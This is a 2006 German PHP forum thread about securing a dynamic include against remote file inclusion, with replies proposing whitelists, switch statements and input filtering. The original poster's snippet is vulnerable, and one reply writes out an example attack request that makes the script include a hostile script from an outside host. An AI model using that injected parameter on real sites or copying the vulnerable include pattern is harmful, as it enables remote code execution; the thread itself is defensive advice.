AGB  ·  Datenschutz  ·  Impressum  







Anmelden
Nützliche Links
Registrieren
Thema durchsuchen
Ansicht
Themen-Optionen

[PHP] - Sicheres Includen

Ein Thema von fwsp · begonnen am 14. Aug 2006 · letzter Beitrag vom 16. Aug 2006
Antwort Antwort
Seite 1 von 2  1 2      
fwsp
(Gast)

n/a Beiträge
 
#1

[PHP] - Sicheres Includen

  Alt 14. Aug 2006, 09:58
Hallo

ich hab jetzt zum 2. Mal Post vom Abuse-Support von 1&1 bekommen mein Skript wäre unsicher.
Anscheinend kann man beliebige Seiten inkludieren. Kann mir sagen, wie ich die Sicherheit erhöhen kann?

Hier der Code-Schnipsel:
Code:
<?php
  if ($Site <> '')
  {
    include $_SERVER['DOCUMENT_ROOT'].'/'.$Sec.$Site;
  }
  else
  {
    include $Sec.'home.php';
  }
?>
Danke.
  Mit Zitat antworten Zitat
Klaus-B.Schmidt

Registriert seit: 2. Apr 2004
Ort: Braunschweig
65 Beiträge
 
Delphi 2005 Personal
 
#2

Re: [PHP] - Sicheres Includen

  Alt 14. Aug 2006, 10:13
Hallo, ich weiß nicht, was du jetzt genau mit sicheres Includen meinst, aber ich löse dass immer so:

Hauptdatei:
Code:
<?php
define("can_inc", true);

if ($start=="main") {
    include("inc/start.inc.php");
}

?>
und die Include Datei dazu:
Code:
<?php
if (!defined("can_inc")) die('Zugriff verweigert!
Access denided');
/* ... */
?>
so, das ganze dient dazu, dass die zu includierende Datei "Zugriff verweigert! Access denided" ausgibt, soibald in der Datei, von deraus die zu Includierende Datei includiert wird can_inc definiert wurde. (Siehe code)

Hoffe das hilft dir ein wenig

MfG
Karsten
MfG
  Mit Zitat antworten Zitat
Benutzerbild von alcaeus
alcaeus

Registriert seit: 11. Aug 2003
Ort: München
6.537 Beiträge
 
#3

Re: [PHP] - Sicheres Includen

  Alt 14. Aug 2006, 10:16
Moin,

ich gehe mal davon aus, dass register_globals aktiv ist? Dann mach ich z.B. sowas:
Code:
GET deinskript.php?Sec=http://meineseite.de/boesesscript.php?
Ergebnis:
Code:
include('http://meineseite.de/boesesscript.php?home.php');
Mach z.B. immer sowas:
Code:
include './'. $Sec .'home.php';
Weiters solltest du bei den Leuten anfragen, was genau das Problem zu sein scheint, und wie sie von der Luecke wissen (wollen).

@Klaus-B: das mit can_inc hilft in diesem Fall gar nicht. Remote code inclusion bedeutet dass Code von einem fremden Server eingebunden wird, und nicht dass deine Dateien von einem nicht-autorisierten File aufgerufen werden

Greetz
alcaeus
Andreas B.
Die Mutter der Dummen ist immer schwanger.
Ein Portal für Informatik-Studenten: www.infler.de
  Mit Zitat antworten Zitat
Benutzerbild von faux
faux

Registriert seit: 18. Apr 2004
Ort: Linz
2.044 Beiträge
 
Turbo Delphi für Win32
 
#4

Re: [PHP] - Sicheres Includen

  Alt 14. Aug 2006, 10:29
Hallo Friedrich!

Was genau sind denn $Sec und $Site? Sind das Variablen die per GET oder POST (oder COOKIE) übergeben werden?
Wenn ja, würde ich ev. eine Liste machen, mit Seiten die Inklidiert werden dürfen.
Naja, ich habs so gemacht:

Code:
[color=#808080][/color]
[color=#000080][b]<?php[/b][/color]
[color=#FF8000]//
// Include content.
//[/color]
[color=#800080]if[/color] (file_exists([color=#008000]'./'[/color] . [color=#000080][i]$_GET[/i][/color][[color=#008000]'page'[/color]] . [color=#008000]'.php'[/color]))
{
   [color=#800080]include[/color]([color=#000080][i]$_GET[/i][/color][[color=#008000]'page'[/color]] . [color=#008000]'.php'[/color]);
}
[color=#800080]elseif[/color] (file_exists([color=#008000]'./'[/color] . [color=#000080][i]$_GET[/i][/color][[color=#008000]'page'[/color]] . [color=#008000]'/index.php'[/color]))
{
   [color=#800080]include[/color]([color=#000080][i]$_GET[/i][/color][[color=#008000]'page'[/color]] . [color=#008000]'/index.php'[/color]);
}
[color=#800080]else[/color]
{
   [color=#800080]include[/color]([color=#008000]'404.php'[/color]);
}
[color=#800080]echo[/color] [color=#008000]"\n"[/color];
[color=#000080][b]?>[/b][/color]
[color=#808080][/color]
Durch das file_exists('./' . $_GET['page'] . '.php') prüfe ich, ob die Datei im Selben Verzeichnis ist und mit file_exists('./' . $_GET['page'] . '/index.php') kann ich dann auch index-Dateien aus Unterordnern inkludieren. Also irgend was unterhalb meines htdocs-Paths bzw. unterhalb meines Hauptindex-Paths kann da nicht inkludiert werden, da ich in $_GET['page'] vorher noch alle Slash, Backslash und Punkte entferne (braucht man für den normalen Betrieb auch nicht). Das könnte nochwichtig sein.

Zitat von alcaeus:
ich gehe mal davon aus, dass register_globals aktiv ist?
OK, daran denke ich schon mal garnichtmehr, ich gehe immer davon aus, dann das aus ist.
Naja, aber die Variable durch $site = preg_replace('/[\\\\\/.:]*/', '', $site); jagen, ist sicherlich kein Fehler.

Grüße
Faux
Faux Manuel
Wer weiß, dass er nichts weiß, weiß mehr, als der der nicht weiß, dass er nichts weiß.
GoTrillian
  Mit Zitat antworten Zitat
Benutzerbild von alcaeus
alcaeus

Registriert seit: 11. Aug 2003
Ort: München
6.537 Beiträge
 
#5

Re: [PHP] - Sicheres Includen

  Alt 14. Aug 2006, 11:41
Zitat von faux:
OK, daran denke ich schon mal garnichtmehr, ich gehe immer davon aus, dann das aus ist.
Schoen waers, traurige Wahrheit ist, dass es bei den meisten Hostern an ist, und der 0815-PHPler keinen Plan hat was es ist.

Zitat von faux:
Naja, aber die Variable durch $site = preg_replace('/[\\\\\/.:]*/', '', $site); jagen, ist sicherlich kein Fehler.
Noch eine Stufe besser: explizit sagen was erlaubt ist:
Code:
$site = (isset($_GET['site'])) ? $_GET['site'] : '';
$allowed_sites = array('main', 'contact', 'foo', 'bar');
if (!in_array($site, $allowed_sites))
{
  $site = 'main';
}
include('./'. $site .'.php');
Und schon gibts keinen Weg mehr, da RFI zu betreiben. So einfach kanns sein, ich versteh sowieso nicht, wie man eine Seite darauf aufbauen kann, die einzubindende Datei ueber die URL festlegen zu lassen. Nichts fuer ungut, aber echt

Greetz
alcaeus
Andreas B.
Die Mutter der Dummen ist immer schwanger.
Ein Portal für Informatik-Studenten: www.infler.de
  Mit Zitat antworten Zitat
Benutzerbild von Meflin
Meflin

Registriert seit: 21. Aug 2003
4.856 Beiträge
 
#6

Re: [PHP] - Sicheres Includen

  Alt 14. Aug 2006, 12:26
Zitat von alcaeus:
ich versteh sowieso nicht, wie man eine Seite darauf aufbauen kann, die einzubindende Datei ueber die URL festlegen zu lassen. Nichts fuer ungut, aber echt
ähm, es ist halt recht komfortabel wie würdest du es denn machen... ich meine deine obige Lösung beriht ja auch noch darauf die einzubindende Seite über die URL festlegen zu lassen.

  Mit Zitat antworten Zitat
Benutzerbild von alcaeus
alcaeus

Registriert seit: 11. Aug 2003
Ort: München
6.537 Beiträge
 
#7

Re: [PHP] - Sicheres Includen

  Alt 14. Aug 2006, 12:45
Zitat von Meflin:
ähm, es ist halt recht komfortabel wie würdest du es denn machen... ich meine deine obige Lösung beriht ja auch noch darauf die einzubindende Seite über die URL festlegen zu lassen.
Ja, das ist eine Art "Zwischenloesung", die ich persoenlich aber auch nicht verwenden wuerde. So kann ich wenigstens noch festlegen, was der Benutzer machen kann/darf.

Wenn ich dynamische Webseiten erstelle, und auf sowas zurueckgreifen muss, dann liegen die Module normalerweise in der Datenbank, und werden ueber eine ID oder einen sprechenden Namen aufgerufen (z.B. something.php?module=settings). So muss ich nur ein neues Modul hochladen, es in der Datenbank freischalten (das Panel zeigt nicht registrierte Module speziell an), und es wird auch sofort im Menue verlinkt. So muss ich nicht bei jedem Update die PHP-Dateien aendern, sondern kann ueber ein Update-Script vorgehn, und ich habe trotzdem eine grosse Sicherheit, da der Input ja ueber die Datenbank validiert wird (mal angenommen dass der Programmierer weiss wie er Datenbank-Queries absichert).

Greetz
alcaeus
Andreas B.
Die Mutter der Dummen ist immer schwanger.
Ein Portal für Informatik-Studenten: www.infler.de
  Mit Zitat antworten Zitat
Benutzerbild von faux
faux

Registriert seit: 18. Apr 2004
Ort: Linz
2.044 Beiträge
 
Turbo Delphi für Win32
 
#8

Re: [PHP] - Sicheres Includen

  Alt 14. Aug 2006, 17:04
ALso ich mach das meistens so wie alcaeus mit den Modulen deren ID dann aus der DB ausgelesen wird, aber manchmal auch oft einfach per switch:
Code:
switch (strtolower($GET['page'))
{
  case 'news':
    include('news.php');
    break;
}
Und dann sieht die URL so aus: ./?page=news&id=23 das heißt: Modul News, Datensatz 23.

Grüße
Faux
Faux Manuel
Wer weiß, dass er nichts weiß, weiß mehr, als der der nicht weiß, dass er nichts weiß.
GoTrillian
  Mit Zitat antworten Zitat
Benutzerbild von alcaeus
alcaeus

Registriert seit: 11. Aug 2003
Ort: München
6.537 Beiträge
 
#9

Re: [PHP] - Sicheres Includen

  Alt 14. Aug 2006, 17:11
Zitat von faux:
aber manchmal auch oft einfach per switch:
Genau. Wenn du nicht oft Module hinzufuegst, ist dies gut genug.

Wichtig ist nur, dass du GPC-Daten nicht ungefiltert verwendest; sei es in SQL-Queries, include-Dateien usw. Gegen RFI hilft aber auch schon, allow_url_fopen zu deaktivieren.

Greetz
alcaeus
Andreas B.
Die Mutter der Dummen ist immer schwanger.
Ein Portal für Informatik-Studenten: www.infler.de
  Mit Zitat antworten Zitat
Benutzerbild von faux
faux

Registriert seit: 18. Apr 2004
Ort: Linz
2.044 Beiträge
 
Turbo Delphi für Win32
 
#10

Re: [PHP] - Sicheres Includen

  Alt 14. Aug 2006, 17:18
alcaeus, was genau verstehst du unter RFI?
Naja, wenn man soo oft Module hinzufügt, dass man das nicht in einer Datei der switch-Direktive hinzufügen kann, dann ist man mit dieser Art von Template-System schlecht bedient.

Grüße
Faux

Zitat von faux:
aber manchmal auch oft einfach per switch:
...manchmal auch oft...
Faux Manuel
Wer weiß, dass er nichts weiß, weiß mehr, als der der nicht weiß, dass er nichts weiß.
GoTrillian
  Mit Zitat antworten Zitat
Antwort Antwort
Seite 1 von 2  1 2      


Forumregeln

Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks are an
Pingbacks are an
Refbacks are aus

Gehe zu:

Impressum · AGB · Datenschutz · Nach oben
Alle Zeitangaben in WEZ +1. Es ist jetzt 21:57 Uhr.
Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz